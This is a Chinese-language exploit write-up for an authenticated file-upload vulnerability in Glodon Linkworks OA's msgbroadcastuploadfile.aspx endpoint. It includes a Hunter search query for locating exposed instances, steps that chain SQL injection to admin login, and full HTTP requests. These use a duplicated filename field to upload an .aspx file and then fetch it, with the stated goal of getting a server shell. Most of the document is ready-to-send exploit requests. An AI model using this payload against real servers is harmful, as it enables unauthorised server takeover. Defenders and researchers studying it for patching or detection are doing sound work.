G4-3广联达-OA-文件上传

漏洞描述：

广联达Linkworks办公OA（Office Automation）是一款综合办公自动化解决方案，旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具，帮助企业管理和处理日常办公任务、流程和文档。msgbroadcastuploadfile.aspx接口处存在后台文件上传漏洞，攻击者通过SQL注入获取管理员信息后，可以登陆发送请求包获取服务器权限。

网站图片：

网络测绘：

Hunter 语法：

- app.name="广联达 OA"

漏洞复现：

1. 通过SQL注入漏洞获取管理员信息登录后台
2. 通过上一步获取的cookie替换通过poc上传文件获取shell

payload：

```
POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host: xx.xx.xx.xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Cookie: 0_styleName=styleA; ASP.NET_SessionId=iujpmeeoodatd3valrfzlybx; GTP_IdServer_LangID=2052; .ASPXAUTH=C07DD2AB8669EC488CEC31D5290CD2329A8D4A672DC579B15BF250A1AB0C4

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file" filename="1.aspx";filename="1.jpg"
Content-Type: application/text

test
------WebKitFormBoundaryFfJZ4PlAZBixjELj--
```

效果图:

1. 访问上传文件，需要携带登录成功后的cookie才能成功访问

```
GET /GTP/IM/Services/Group/Upload/259653de-0020-4743-a130-e092ca4d9e6a-1.aspx HTTP/1.1
Host: xx.xx.xx.xx
Cookie: 0_styleName=styleA; ASP.NET_SessionId=iujpmeeoodatd3valrfzlybx; GTP_IdServer_LangID=2052; .ASPXAUTH=C07DD2AB8669EC488CEC31D5290CD2329A8D4A672DC579B15BF250A1AB0C4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0
```